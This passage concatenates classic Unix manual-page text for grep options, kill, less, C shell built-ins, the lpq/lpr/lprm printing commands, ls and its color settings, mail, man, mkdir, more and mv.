Ignore case distinctions in both the pattern and the input files. -L Suppress normal output; instead print the name of each input file from which no output would normally have been printed. -l Suppress normal output; instead print the name of each input file from which output would normally have been printed. -n Prefix each line of output with the line number within its input file.

-q
Quiet; suppress normal output.

-s
Suppress error messages about nonexistent or unreadable files. -v Invert the sense of matching, to select non-matching lines. -w Select only those lines containing matches that form whole words. The test is that the matching substring must either be at the beginning of the line, or preceded by a non-word constituent character. Similarly, it must be either at the end of the line or followed by a non-word constituent character. Word-constituent characters are letters, digits, and the underscore. -x Select only those matches that exactly match the whole line.

kill: kill sends the TERM (terminate, 15) signal to the processes with the specified pids. If a signal name or number preceded by `-' is given as first argument, that signal is sent instead of terminate. The signal names are listed by using the -l option, and are as given in <signal.h>, stripped of the common
SIG prefix.

The terminate signal will kill processes that do not catch the signal, so `kill -9 ...' is a sure kill, as the KILL (9) signal cannot be caught. By convention, if process number 0 is specified, all members in the process group (that is, processes resulting from the current login) are signaled (but beware: this
works only if you use sh(1); not if you use csh(1).) Negative process numbers also have special meanings; see kill(2V) for details. The killed processes must belong to the current user unless he is the super-user.

To shut the system down and bring it up single user the super-user may send the initialization process a TERM (terminate) signal by `kill 1'; see init(8). To force init to close and open terminals according to what is currently in /etc/ttytab use `kill -HUP 1' (sending a hangup signal to process 1).

The shell reports the process number of an asynchronous process started with `&' (run in the background). Process numbers can also be found by using ps(1).

kill is built in to csh(1); it allows job specifiers, such as `kill % ...', in place of kill arguments. See csh(1) for details.

less: Less is a program similar to more (1), but which allows backwards movement in the file as well as forward movement. Also, less does not have to read the entire input file before starting, so with large input files it starts up faster than text editors like vi (1). Less uses termcap (or terminfo on some systems), so it can run on a variety of terminals. There is even limited support for hardcopy terminals. (On a hardcopy terminal, lines which should be printed at the top of the screen are prefixed with an uparrow.)

Commands are based on both more and vi. Commands may be preceeded by a decimal number, called N in the descriptions below. The number is used by some commands, as indicated.

In the following descriptions, ^X means control-X. ESC stands for the ESCAPE key; for example ESC-v means the two character sequence "ESCAPE", then "v".

H
Help: display a summary of these commands. If you forget all the other commands, remember this one.

SPACE or f or ^F or ^V
Scroll forward N lines, default one window (see option -z below). If N is more than the screen size, only the final screenful is displayed. Warning: some systems use ^V as a special literalization character.

b or ^B or ESC-v
Scroll backward N lines, default one window (see option -z below). If N is more than the screen size, only the final screenful is displayed.

RETURN or ^N or e or ^E or j or ^J
Scroll forward N lines, default 1. The entire N lines are displayed, even if N is more than the screen size.

y or ^Y or ^P or k or ^K
Scroll backward N lines, default 1. The entire N lines are displayed, even if N is more than the screen size. Warning: some systems use ^Y as a special job control character.

d or ^D
Scroll forward N lines, default one half of the screen size. If N is specified, it becomes the new default for subsequent d and u commands.

u or ^U
Scroll backward N lines, default one half of the screen size. If N is specified, it becomes the new default for subsequent d and u commands.

r or ^R or ^L
Repaint the screen.

R
Repaint the screen, discarding any buffered input. Useful if the file is changing while it is being viewed.

g or < or ESC-<
Go to line N in the file, default 1 (beginning of file). (Warning: this may be slow if N is large.)

G or > or ESC->
Go to line N in the file, default the end of the file. (Warning: this may be slow if N is large, or if N is not specified and standard input, rather than a file, is being read.)

p or %
Go to a position N percent into the file. N should be between 0 and 100. (This works if standard input is being read, but only if less has already read to the end of the file. It is always fast, but not always useful.)

m
Followed by any lowercase letter, marks the current position with that letter.

`
(Single quote.) Followed by any lowercase letter, returns to the position which was previously marked with that letter. Followed by another single quote, returns to the postion at which the last "large" movement command was executed. All marks are lost when a new file is examined.

^X^X Same as single quote.

/pattern
Search forward in the file for the N-th line containing the pattern. N defaults to 1. The pattern is a regular expression, as recognized by ed. The search starts at the second line displayed (but see the -a option, which changes this).

?pattern
Search backward in the file for the N-th line containing the pattern. The search starts at the line immediately before the top line displayed.

/!pattern
Like /, but the search is for the N-th line which does NOT contain the pattern.

?!pattern
Like ?, but the search is for the N-th line which does NOT contain the pattern.

n
Repeat previous search, for N-th line containing the last pattern (or NOT containing the last pattern, if the previous search was /! or ?!).

E [filename]
Examine a new file. If the filename is missing, the "current" file (see the N and P commands below) from the list of files in the command line is re-examined. If the filename is a pound sign (#), the previously examined file is re-examined.

^X^V or :e
Same as E. Warning: some systems use ^V as a special literalization character.

N or :n
Examine the next file (from the list of files given in the command line). If a number N is specified (not to be confused with the command N), the N-th next file is examined.

P or :p
Examine the previous file. If a number N is specified, the N-th previous file is examined.

= or ^G
Prints some information about the file being viewed, including its name and the line number and byte offset of the bottom line being displayed. If possible, it also prints the length of the file and the percent of the file above the last displayed line.

-
Followed by one of the command line option letters (see below), this will change the setting of that option and print a message describing the new setting. If the option letter has a numeric value (such as -b or -h), or a string value (such as -P or -t), a new value may be entered after the option letter.

_
(Underscore.) Followed by one of the command line option letters (see below), this will print a message describing the current setting of that option. The setting of the option is not changed.

+cmd
Causes the specified cmd to be executed each time a new file is examined. For example, +G causes less to initially display each file starting at the end
rather than the beginning.

V
Prints the version number of less being run.

q or :q or ZZ
Exits less.

The following two commands may or may not be valid, depending on your particular installation.

v
Invokes an editor to edit the current file being viewed. The editor is taken from the environment variable EDITOR, or defaults to "vi".

! shell-command
Invokes a shell to run the shell-command given. A percent sign in the command is replaced by the name of the current file. "!!" repeats the last shell command. "!" with no shell command simply invokes a shell. In all cases, the shell is taken from the environment variable SHELL, or defaults to "sh". logout: Built-in commands are executed within the C shell. If a built-in command occurs as any component of a pipeline except the last, it is executed in a subshell.

:
Null command. This command is interpreted, but performs no action.

alias [ name [ def ] ]
Assign def to the alias name. def is a list of words that may contain escaped history substitution metasyntax. name is not allowed to be alias or unalias. If def is omitted, the alias name is displayed along with its current definition. If both name and def are omitted, all aliases are displayed.

bg [%job] ...
Run the current or specified jobs in the background.

break
Resume execution after the end of the nearest enclosing foreach or while loop. The remaining commands on the current line are executed. This allows multilevel breaks to be written as a list of break commands, all on one line.

breaksw
Break from a switch, resuming after the endsw.

case label:
A label in a switch statement.

cd [ dir ]
chdir [ dir ]
Change the shell's working directory to directory dir. If no argument is given, change to the home directory of the user. If dir is a relative pathname not found in the current directory, check for it in those directories listed in the cdpath variable. If dir is the name of a shell variable whose value starts with a /, change to the directory named by that value.

continue Continue execution of the nearest enclosing while or foreach.

default: Labels the default case in a switch statement. The default should come after all case labels. Any remaining commands on the command line are first executed.

dirs [ -l ]
Print the directory stack, most recent to the left; the first directory shown is the current directory. With the -l argument, produce an unabbreviated printout; use of the ~ notation is suppressed.

echo [ -n ] list
The words in list are written to the shell's standard output, separated by SPACE characters. The output is terminated with a NEWLINE unless the -n option is used.

eval argument ...
Reads the arguments as input to the shell, and executes the resulting command(s). This is usually used to execute commands generated as the result of command or variable substitution, since parsing occurs before these substitutions. See tset(1) for an example of how to use eval.

exec command
Execute command in place of the current shell, which terminates.

exit [ (expr) ]
The shell exits, either with the value of the status variable, or with the value of the specified by the expression expr.

fg % [ job ]
Bring the current or specified job into the foreground.

foreach var (wordlist)
...

end
The variable var is successively set to each member of wordlist. The sequence of commands between this command and the matching end is executed for each new value of var. (Both foreach and end must appear alone on separate lines.)

The built-in command continue may be used to continue the loop prematurely and the built-in command break to terminate it prematurely. When this command is read from the terminal, the loop is read up once prompting with ? before any statements in the loop are executed.

glob wordlist
Perform filename expansion on wordlist. Like echo, but no \ escapes are recognized. Words are delimited by null characters in the output.

goto label
The specified label is filename and command expanded to yield a label. The shell rewinds its input as much as possible and searches for a line of the form label: possibly preceded by SPACE or TAB characters. Execution continues after the indicated line. It is an error to jump to a label that occurs between a while or for built-in, and its corresponding end.

hashstat Print a statistics line indicating how effective the internal hash table has been at locating commands (and avoiding execs). An exec is attempted for each component of the path where the hash function indicates a possible hit, and in each component that does not begin with a `/'.

history [ -hr ] [ n ]
Display the history list; if n is given, display only the n most recent events.

-r
Reverse the order of printout to be most recent first rather than oldest first. -h Display the history list without leading numbers. This is used to produce files suitable for sourcing using the -h option to source.

if (expr) command
If the specified expression evaluates to true, the single command with arguments is executed. Variable substitution on command happens early, at the same time it does for the rest of the if command. command must be a simple command, not a pipeline, a command list, or a parenthesized command list. Note: I/O redirection occurs even if expr is false, when command is not executed (this is a bug).

if (expr) then
...
else if (expr2) then ...
else
...

endif
If expr is true, commands up to the first else are executed. Otherwise, if expr2 is true, the commands between the else if and the second else are executed. Otherwise, commands between the else and the endif are executed. Any number of else if pairs are allowed, but only one else. Only one endif is needed, but it is required. The words else and endif must be the first non-white characters on a line. The if must appear alone on its input line or after an else.)

jobs[ -l ]
List the active jobs under job control.

-l
List process IDs, in addition to the normal information.

kill [ -sig ] [ pid ] [ %job ] ...
kill -l Send the TERM (terminate) signal, by default, or the signal specified, to the specified process ID, the job indicated, or the current job. Signals are either given by number or by name. There is no default. Typing kill does not send a signal to the current job. If the signal being sent is TERM (terminate) or HUP (hangup), then the job or process is sent a CONT (continue) signal as well.

-l
List the signal names that can be sent.

limit [ -h ] [ resource [ max-use ] ] Limit the consumption by the current process or any process it spawns, each not to exceed max-use on the specified resource. If max-use is omitted, print the current limit; if resource is omitted, display all limits.

-h
Use hard limits instead of the current limits. Hard limits impose a ceiling on the values of the current limits. Only the super-user may raise the hard limits.

resource is one of:

cputime
Maximum CPU seconds per process.

filesize
Largest single file allowed.

datasize
Maximum data size (including stack) for the process.

stacksize
Maximum stack size for the

process.
coredumpsize Maximum size of a core dump (file).
descriptors Maximum value for a file descriptor.

max-use is a number, with an optional scaling factor, as follows:

nh
Hours (for cputime).

nk
n kilobytes. This is the default for all but cputime.

nm
n megabytes or minutes (for cputime).

mm:ss
Minutes and seconds (for cputime).

login [ username|-p ]
Terminate a login shell and invoke login(1). The .logout file is not processed. If username is omitted, login prompts for the name of a user.

-p
Preserve the current environment (variables).

logout
Terminate a login shell.

nice [ +n|-n ] [ command ]
Increment the process priority value for the shell or for command by n. The higher the priority value, the lower the priority of a process, and the slower it runs. When given, command is always run in a subshell, and the restrictions placed on commands in simple if commands apply. If command is omitted, nice increments the value for the current shell. If no increment is specified, nice
sets the nice value to 4. The range of nice values is from -20 through 19. Values of n outside this range set the value to the lower, or to the higher boundary, respectively.

+n
Increment the process priority value by n.

-n
Decrement by n. This argument can be used only by the super-user.

nohup [ command ]
Run command with HUPs ignored. With no arguments, ignore HUPs throughout the remainder of a script. When given, command is always run in a subshell, and the restrictions placed on commands in simple if commands apply. All processes detached with & are effectively nohup'd.

notify [ %job ] ...
Notify the user asynchronously when the status of the current, or of specified jobs, changes.

onintr [ - | label]
Control the action of the shell on interrupts. With no arguments, onintr restores the default action of the shell on interrupts. (The shell terminates shell scripts and returns to the terminal command input level). With the - argument, the shell ignores all interrupts. With a label argument, the shell executes
a goto label when an interrupt is received or a child process terminates because it was interrupted.

popd [+n]
Pop the directory stack, and cds to the new top directory. The elements of the directory stack are numbered from 0 starting at the top.

+n
Discard the n'th entry in the stack.

pushd [+n | dir]
Push a directory onto the directory stack. With no arguments, exchange the top two elements.

+n
Rotate the n'th entry to the top of the stack and cd to it. dir Push the current working directory onto the stack and change to dir.

rehash
Recompute the internal hash table of the contents of directories listed in the path variable to account for new commands added.

repeat count command
Repeat command count times command is subject to the same restrictions as with the one-line if statement.

set [var [ = value ] ]
set var[n] = word
With no arguments, set displays the values of all shell variables. Multiword values are displayed as a parenthesized list. With the var argument alone, set assigns an empty (null) value to the variable var. With arguments of the form var = value set assigns value to var, where value is one of:

word
A single word (or quoted string). (wordlist) A space-separated list of words
enclosed in parentheses.

Values are command and filename expanded before being assigned. The form set var[n] = word replaces the n'th word in a multiword value with word.

setenv [ VAR [ word ] ]
With no arguments, setenv displays all environment variables. With the VAR argument sets the environment variable VAR to have an empty (null) value. (By convention, environment variables are normally given upper-case names.) With both VAR and word arguments setenv sets the environment variable NAME to the value word, which must be either a single word or a quoted string. The most commonly used environment variables, USER, TERM, and PATH, are automatically imported to and exported from the csh variables user, term, and path; there is no need
to use setenv for these. In addition, the shell sets the PWD environment variable from the csh variable cwd whenever the latter changes.

shift [ variable ]
The components of argv, or variable, if supplied, are shifted to the left, discarding the first component. It is an error for the variable not to be set, or to have a null value.

source [ -h ] name
Reads commands from name. source commands may be nested, but if they are nested too deeply the shell may run out of file descriptors. An error in a sourced file at any level terminates all nested source commands.

-h
Place commands from the file name on the history list without executing them.

stop [%job] ...
Stop the current or specified background job.

suspend Stop the shell in its tracks, much as if it had been sent a stop signal with ^Z. This is most often used to stop shells started by su.

switch (string)
case label:
...
breaksw
... default:
...
breaksw

endsw
Each label is successively matched, against the specified string, which is first command and filename expanded. The file metacharacters *, ? and [...] may be used in the case labels, which are variable expanded. If none of the labels match before a "default" label is found, execution begins after the default label. Each case statement and the default statement must appear at the beginning of a line. The command breaksw continues execution after the endsw. Otherwise control falls through subsequent case and default statements as with C. If no label matches and there is no default, execution continues after the endsw.

time [ command ]
With no argument, print a summary of time used by this C shell and its children. With an optional command, execute command and print a summary of the time it uses.

umask [ value ]
Display the file creation mask. With value set the file creation mask. value is given in octal, and is XORed with the permissions of 666 for files and 777 for directories to arrive at the permissions for new files. Common values include 002, giving complete access to the group, and read (and directory search) access to others, or 022, giving read (and directory search) but not write permission to the group and others.

unalias pattern
Discard aliases that match (filename substitution) pattern. All aliases are removed by unalias *.

unhash
Disable the internal hash table.

unlimit [ -h ] [ resource ]
Remove a limitation on resource. If no resource is specified, then all resource limitations are removed. See the description of the limit command for the list of resource names.

-h
Remove corresponding hard limits. Only the super-user may do this.

unset pattern
Remove variables whose names match (filename substitution) pattern. All variables are removed by `unset *'; this has noticeably distasteful sideeffects.

unsetenv variable
Remove variable from the environment. Pattern matching, as with unset is not performed.

wait
Wait for background jobs to finish (or for an interrupt) before prompting.

while (expr)
...

end
While expr is true (evaluates to non-zero), repeat commands between the while and the matching end statement. break and continue may be used to terminate or continue the loop prematurely. The while and end must appear alone on their input lines. If the shell's input is a terminal, it prompts for commands with a question-mark until the end command is entered and then performs the commands in the loop.

%[ job ] [ & ]
Bring the current or indicated job to the foreground. With the ampersand, continue running job in the background.

@ [ var =expr ]
@ [ var[n] =expr ]
With no arguments, display the values for all shell variables. With arguments, the variable var, or the n'th word in the value of var, to the value that expr evaluates to. (If [n] is supplied, both var and its n'th component must already exist.)

If the expression contains the characters >, <, & or |, then at least this part of expr must be placed within parentheses.

The operators *=, +=, etc., are available as in C. The space separating the name from the assignment operator is optional. Spaces are, however, mandatory in separating components of expr that would otherwise be single words.

Special postfix operators, ++ and -- increment or decrement name, respectively.

lpq: lpq displays the contents of a printer queue. It reports the status of jobs specified by job#, or all jobs owned by the user specified by username. lpq reports on all jobs in the default printer queue when invoked with no arguments.

For each print job in the queue, lpq reports the user's name, current position, the names of input files comprising the job, the job number (by which it is referred to when using lprm(1)) and the total size in bytes. Normally, only as much information as will fit on one line is displayed. Jobs are normally queued on a first-in-first-out basis. Filenames comprising a job may be unavailable, such as when lpr is used at the end of a pipeline; in such cases the filename field indicates ``(standard input)''.

If lpq warns that there is no daemon present (that is, due to some malfunction), the lpc(8) command can be used to restart a printer daemon.

-P printer
Display information about the queue for the specified printer. In the absence of the -P option, the queue to the printer specified by the PRINTER variable in the environment is used. If the PRINTER variable isn't set, the queue for the default printer is used.

-l
Display queue information in long format; includes the name of the host from which the job originated.

+[ interval ]
Display the spool queue periodically until it empties. This option clears the terminal screen before reporting on the queue. If an interval is supplied, lpq sleeps that number of seconds in between reports.

lpr: lpr creates a printer job in a spooling area for subsequent printing as facilities become available. Each printer job consists of a control file and one or more data files. The data files are copies of (or, with -s , symbolic links to) each filename you specify. The spool area is managed by the line printer
daemon, lpd(8). Jobs that specify a printer on a remote machine are forwarded by lpd.

lpr reads from the standard input if no files are specified.

-Pprinter
Send output to the named printer. Otherwise send output to the printer named in the PRINTER environment variable, or to the default printer, lp.

-#copies
Produce the number of copies indicated for each named file. For example:

example% lpr -#3 index.c lookup.c

produces three copies of index.c, followed by three copies of lookup.c. On the other hand,

example% cat index.c lookup.c | lpr -#3

generates three copies of the concatenation of the files.

-Cclass
Print class as the job classification on the burst page. For example,

example% lpr -C Operations new.index.c

replaces the system name (the name returned by hostname) with "Operations" on the burst page, and prints the file new.index.c.

-Jjob
Print job as the job name on the burst page. Normally, lpr uses the first file's name.

-Ttitle
Use title instead of the file name for the title used by pr(1V).

-i[ indent ]
Indent output indent SPACE characters. Eight SPACE characters is the default. The indent is passed to the input filter. If no input filter is present, this option is ignored. -1 font -2 font -3 font -4 font

Mount the specified font on font position 1, 2, 3 or 4. The daemon will construct a .railmag file in the spool directory that indicates the mount by referencing /usr/lib/vfont/font.

-wcols
Use cols as the page width for pr.

-r
Remove the file upon completion of spooling, or upon completion of printing with the -s option.

-m
Send mail upon completion.

-h
Suppress printing the burst page.

-s
Create a symbolic link from the spool area to the data files rather than trying to copy them (so large files can be printed). This means the data files should not be modified or removed until they have been printed. This option can be used to avoid truncating files larger than the maximum given in the mx capability of the printcap(5) entry. -s only prevents copies of local files from being made. Jobs from remote hosts are copied anyway. -s only works with named data files; if the lpr command is at the end of a pipeline, the data is copied to the spool.

filter-option The following single letter options notify the line printer spooler that the files are not standard text files. The spooling daemon will use the appropriate filters to print the data accordingly.

-p
Use pr to format the files (lpr -p is very much like `pr | lpr'). -l Print control characters and suppress page breaks. -t The files contain troff(1) (cat phototypesetter) binary data. -n The files contain data from ditroff (device independent troff). -d The files contain data from tex (DVI format from Stanford). -g The files contain standard plot data as produced by the plot(3X) routines (see also plot(1G) for the filters used by the printer spooler). -v The files contain a raster image, see rasterfile(5). The printer must support an appropriate imaging model such as PostScript in order to print the image. -c The files contain data produced by cifplot. -f Interpret the first character of each line as a standard FORTRAN carriage control character.

If no filter-option is given (and the printer can interpret PostScript), the string `%!' as the first two characters of a file indicates that it contains PostScript commands.

These filter options offer a standard user interface, and all options may not be available for, nor applicable to, all printers.

lprm: lprm removes a job or jobs from a printer's spooling queue. Since the spool directory is protected from users, using lprm is normally the only method by which a user can remove a job.

Without any arguments, lprm deletes the job that is currently active, provided that the user who invoked lprm owns that job.

When the super-user specifies a username, lprm removes all jobs belonging to that user.

You can remove a specific job by supplying its job number as an argument, which you can obtain using lpq(1). For example:

example% lpq -Phost
host is ready and printing
Rank Owner Job Files Total Size active wendy 385 standard input 35501 bytes example% lprm
-Phost 385

lprm reports the names of any files it removes, and is silent if there are no applicable jobs to remove.

lprm kills the active printer daemon, if necessary, before removing spooled jobs; it restarts the daemon when through.

-Pprinter
Specify the queue associated with a specific printer. Otherwise the value of the PRINTER variable in the environment is used. If this variable is unset, the queue for the default printer is used.

-
Remove all jobs owned by you. If invoked by the super-user, all jobs in the spool are removed. (Job ownership is determined by the user's login name and host name on the machine where the lpr command was invoked).

ls: -a, --all
List all files in directories, including all files that start with `.'.

-b, --escape
Quote nongraphic characters in file names using alphabetic and octal backslash sequences like those used in C.

-c, --time=ctime, --time=status
Sort directory contents according to the files' status change time instead of the modification time. If the long listing format is being used, print the status change time instead of the modification time.

-d, --directory
List directories like other files, rather than listing their contents.

-f
Do not sort directory contents; list them in whatever order they are stored on the disk. The same as enabling -a and -U and disabling -l, -s, and -t.

--full-time
List times in full, rather than using the standard abbreviation heuristics.

-g
Ignored; for Unix compatibility.

-i, --inode
Print the index number of each file to the left of the file name.

-k, --kilobytes
If file sizes are being listed, print them in kilobytes. This overrides the environment variable POSIXLY_CORRECT.

-l, --format=long, --format=verbose
In addition to the name of each file, print the file type, permissions, number of hard links, owner name, group name, size in bytes, and timestamp (the modification time unless other times are selected). For files with a time that is more than 6 months old or more than 1 hour into the future, the timestamp contains the year instead of the time of day.

-m, --format=commas
List files horizontally, with as many as will fit on each line, separated by commas.

-n, --numeric-uid-gid
List the numeric UID and GID instead of the names.

-p
Append a character to each file name indicating the file type.

-q, --hide-control-chars
Print question marks instead of nongraphic characters in file names.

-r, --reverse
Sort directory contents in reverse order.

-s, --size
Print the size of each file in 1K blocks to the left of the file name. If the environment variable POSIXLY_CORRECT is set, 512-byte blocks are used instead.

-t, --sort=time

Sort directory contents by timestamp instead of alphabetically, with the newest files listed first.

-u, --time=atime, --time=access, --time=use
Sort directory contents according to the files' last access time instead of the modification time. If the long listing format is being used, print the last access time instead of the modification
time.

-x, --format=across, --format=horizontal
List the files in columns, sorted horizontally.

-A, --almost-all
List all files in directories, except for `.' and `..'.

-B, --ignore-backups
Do not list files that end with `~', unless they are given on the command line.

-C, --format=vertical
List files in columns, sorted vertically.

-F, --classify
Append a character to each file name indicating the file type. For regular files that are executable, append a `*'. The file type indicators are `/' for directories, `@' for symbolic links, `|' for FIFOs, `=' for sockets, and nothing for regular files.

-G, --no-group
Inhibit display of group information in a long format directory listing.

-L, --dereference
List the files linked to by symbolic links instead of listing the contents of the links.

-N, --literal
Do not quote file names.

-Q, --quote-name
Enclose file names in double quotes and quote nongraphic characters as in C.

-R, --recursive
List the contents of all directories recursively.

-S, --sort=size
Sort directory contents by file size instead of alphabetically, with the largest files listed first.

-U, --sort=none

Do not sort directory contents; list them in whatever order they are stored on the disk. This option is not called -f because the Unix ls -f option also enables -a and disables -l, -s, and -t. It seems useless and ugly to group those unrelated things together in one option. Since this option doesn't do that, it has a different name.

-X, --sort=extension
Sort directory contents alphabetically by file extension (characters after the last `.'); files with no extension are sorted first.

-1, --format=single-column
List one file per line.

-w, --width cols
Assume the screen is cols columns wide. The default is taken from the terminal driver if possible; otherwise the environment variable COLUMNS is used if it is set; otherwise the default is 80.

-T, --tabsize cols
Assume that each tabstop is cols columns wide. The default is 8.

-I, --ignore pattern
Do not list files whose names match the shell pattern pattern unless they are given on the command line. As in the shell, an initial `.' in a filename does not match a wildcard at the start of pattern.

--color, --colour, --color=yes, --colour=yes
Colorize the names of files depending on the type of file. See DISPLAY COLORIZATION below.

--color=tty, --colour=tty
Same as --color but only if standard output is a terminal. This is very useful for shell scripts and command aliases, especially if your favorite pager does not support color control codes.

--color=no, --colour=no
Disables colorization. This is the default. Provided to override a previous color option.

--help
Print a usage message on standard output and exit successfully.

--version
Print version information on standard output then exit successfully.

DISPLAY COLORIZATION
When using the --color option, this version of ls will colorize the file names printed according to the name and type of file. By default, this colorization is by type only, and the codes used are ISO 6429 (ANSI) compliant.

You can override the default colors by defining the environment variable LS_COLORS (or LS_COLOURS). The format of this variable is reminicent of the termcap(5) file format; a colon-separated list of expressions of the form "xx=string", where "xx" is a two-character variable name. The variables with their associated defaults are:

no
0 Normal (non-filename) text

fi
0 Regular file di 32 Directory

ln
36 Symbolic link

pi
31 Named pipe (FIFO) so 33 Socket

bd
44;37 Block device

cd
44;37 Character device

ex
35 Executable file

mi
(none) Missing file (defaults to fi)

or
(none) Orphanned symbolic link (defaults to ln)

lc
\e[ Left code

rc
m Right code

ec
(none) End code (replaces lc+no+rc)

You only need to include the variables you want to change from the default.

File names can also be colorized based on filename extension. This is specified in the LS_COLORS variable using the syntax "*ext=string". For example, using ISO 6429 codes, to color all C-language source files blue you would specify "*.c=34". This would color all files ending in .c in blue (34) color.

Control characters can be written either in C-style \escaped notation, or in stty-like ^-notation. The C-style notation adds \e for Escape, \_ for a normal space characer, and \? for Delete. In addition, the \ escape character can be used to override the default interpretation of \, ^, : and =.

Each file will be written as <lc> <color code> <rc> <filename> <ec>. If the <ec> code is undefined, the sequence <lc> <no> <rc> will be used instead. This is generally more convenient to use, but less general. The left, right and end codes are provided so you don't have to type common parts over and over again and to support weird terminals; you will generally not need to change them at all unless your terminal does not use ISO 6429 color sequences but a different system.

If your terminal does use ISO 6429 color codes, you can compose the type codes (i.e. all except the lc, rc, and ec codes) from numerical commands separated by semicolons. The most common commands are:

0
to restore default color

1
for brighter colors

4
for underlined text

5
for flashing text

30
for black foreground

31
for red foreground

32
for green foreground

33
for yellow (or brown) foreground

34
for blue foreground

35
for purple foreground

36
for cyan foreground

37
for white (or gray) foreground

40
for black background

41
for red background

42
for green background

43
for yellow (or brown) background

44
for blue background

45
for purple background

46
for cyan background

47
for white (or gray) background

Not all commands will work on all systems or display devices.

A few terminal programs do not recognize the default end code properly. If all text gets colorized after you do a directory listing, try changing the no and fi codes from 0 to the numerical codes for your standard fore- and background colors.

mail: mail is a comfortable, flexible, interactive program for composing, sending and receiving electronic messages. While reading messages, mail provides you with commands to browse, display, save, delete, and respond to messages. While sending mail, mail allows editing and reviewing of messages being composed, and the inclusion of text from files or other messages.

Incoming mail is stored in the system mailbox for each user. This is a file named after the user in /var/spool/mail. mail normally looks in this file for incoming messages, but you can use the MAIL environment variable to have it look in a different file. When you read a message, it is marked to be moved to a secondary file for storage. This secondary file, called the mbox, is normally the file
mbox in your home directory. This file can also be changed by setting the MBOX environment variable. Messages remain in the mbox file until deliberately removed.

If no recipient is specified, mail attempts to read messages from the system mailbox.

-d
Turn on debugging output. (Neither particularly interesting nor recommended.)

-e
Test for presence of mail. If there is no mail, mail prints nothing and exits (with a successful return code).

-F
Record the message in a file named after the first recipient. Override the record variable, if set.

-H
Print header summary only.

-i
Ignore interrupts (as with the ignore variable).

-n
Do not initialize from the system default Mail.rc file.

-N
Do not print initial header summary.

-U
Convert uucp style addresses to Internet standards. Overrides the conv environment variable.

-v
Pass the -v flag to sendmail(8).

-f [filename] Read messages from filename instead of system mailbox. If no filename is specified, the mbox is used.

-f +folder
Use the file folder in the folder directory (same as the folder command). The name of this directory is listed in the folder variable.

-h number
The number of network "hops" made so far. This is provided for network software to avoid infinite delivery loops.

-r address
Pass address to network delivery software. All tilde (~) commands are disabled.

-s subject
Set the Subject header field to subject.

-T file
Print the contents of the article-id fields of all messages that were read or deleted on file (for the use of network news programs if available).

-u user
Read user's system mailbox. This is only effective if user's system mailbox is not read protected.

man: man displays information from the reference manuals. It can display complete manual pages that you select by title, or one-line summaries selected either by keyword (-k), or by the name of an associated file (-f).

A section, when given, applies to the titles that follow it on the command line (up to the next section, if any). man looks in the indicated section of the manual for those titles. section is either a digit (perhaps followed by a single letter indicating the type of manual page), or one of the words new, local, old, or public. The abbreviations n, l, o and p are also allowed. If section is omitted, man searches all reference sections (giving preference to commands over functions) and prints the first manual page it finds. If no manual page is located, man prints an error message.

The reference page sources are typically located in the /usr/man/man? directories. Since these directories are optionally installed, they may not reside on your host; you may have to mount /usr/man from a host on which they do reside. If there are preformatted, up-to-date versions in corresponding cat? or fmt? directories, man simply displays or prints those versions. If the
preformatted version of interest is out of date or missing, man reformats it prior to display. If directories for the preformatted versions are not provided, man reformats a page whenever it is requested; it uses a temporary file to store the formatted text during display.

If the standard output is not a terminal, or if the `-' flag is given, man pipes its output through cat(1V). Otherwise, man pipes its output through more(1) to handle paging and underlining on the screen.

-t man arranges for the specified manual pages to be troffed to a suitable raster output device (see troff(1) or vtroff(1)). If both the - and -t flags are given, man updates the troffed versions of each named title (if necessary), but does not display them.

-M path
Change the search path for manual pages. path is a colon-separated list of directories that contain manual page directory subtrees. For example, /usr/man/u_man:/usr/man/a_man makes man search in the standard System V locations. When used with the -k or -f options, the -M option must appear first. Each directory in the path is assumed to contain subdirectories of the form man[1-8l-p].

-T macro-package
man uses macro-package rather than the standard -man macros defined in
/usr/lib/tmac/tmac.an for formatting manual pages.

-k keyword ...
man prints out one-line summaries from the whatis database (table of contents) that contain any of the given keywords. The whatis database is created using the catman(8) command with the -w option.

-f filename ...
man attempts to locate manual pages related to any of the given filenames. It strips the leading pathname components from each filename, and then prints one-line summaries containing the resulting basename or names. This option also uses the whatis database.

mkdir: mkdir creates directories. Standard entries, `.', for the directory itself, and `..' for its parent, are made automatically.

The -p flag allows missing parent directories to be created as needed.

With the exception of the set-gid bit, the current umask(2V) setting determines the mode in which directories are created. The new directory inherits the set-gid bit of the parent directory. Modes may be modified after creation by using chmod(1V).

mkdir requires write permission in the parent directory.

more: more is a filter that displays the contents of a text file on the terminal, one screenful at a time. It normally pauses after each screenful, and prints --More-- at the bottom of the screen. more provides a two-line overlap between screens for continuity. If more is reading from a file rather than a pipe, the percentage of characters displayed so far is also shown.

more scrolls up to display one more line in response to a RETURN character; it displays another screenful in response to a SPACE character. Other commands are listed below.

page clears the screen before displaying the next screenful of text; it only provides a one-line overlap between screens.

more sets the terminal to noecho mode, so that the output can be continuous. Commands that you type do not normally show up on your terminal, except for the / and ! commands.

If the standard output is not a terminal, more acts just like cat(1V), except that a header is printed before each file in a series.

-c Clear before displaying. Redrawing the screen instead of scrolling for faster displays. This option is ignored if the terminal does not have the ability to clear to the end of a line.

-d
Display error messages rather than ringing the terminal bell if an unrecognized command is used. This is helpful for inexperienced users.

-f
Do not fold long lines. This is useful when lines contain nonprinting characters or escape sequences, such as those generated when nroff(1) output is piped through ul(1).

-l
Do not treat FORMFEED characters (CTRL-D) as "page breaks." If -l is not used, more pauses to accept commands after any line containing a ^L character (CTRL-D). Also, if a file begins with a FORMFEED, the screen is cleared before the file is printed.

-s
Squeeze. Replace multiple blank lines with a single blank line. This is helpful when viewing nroff(1) output, on the screen.

-u
Suppress generation of underlining escape sequences. Normally, more handles underlining, such as that produced by nroff(1), in a manner appropriate to the terminal. If the terminal can perform underlining or has a stand-out mode, more supplies appropriate escape sequences as called for in the text file.

-lines
Display the indicated number of lines in each screenful, rather than the default (the number of lines in the terminal screen less two).

+linenumber
Start up at linenumber.

+/pattern
Start up two lines above the line containing the regular expression pattern. Note: unlike editors, this construct should not end with a `/'. If it does, then the trailing slash is taken as a character in the search pattern.

mv: mv moves files and directories around in the file system. A side effect of mv is to rename a file or directory. The three major forms of mv are shown in the synopsis above.

The first form of mv moves (changes the name of) filename1 to filename2. If filename2 already exists, it is removed before filename1 is moved. If filename2 has a mode which forbids writing, mv prints the mode (see chmod(2V)) and reads the standard input to obtain a line; if the line begins with y, the move takes place, otherwise mv exits.

The second form of mv moves (changes the name of) directory1 to directory2, only if directory2 does not already exist if it does, the third form applies.

The third form of mv moves one or more filenames (may also be directories) with their original names, into the last directory in the list.

mv refuses to move a file or directory onto itself.
-
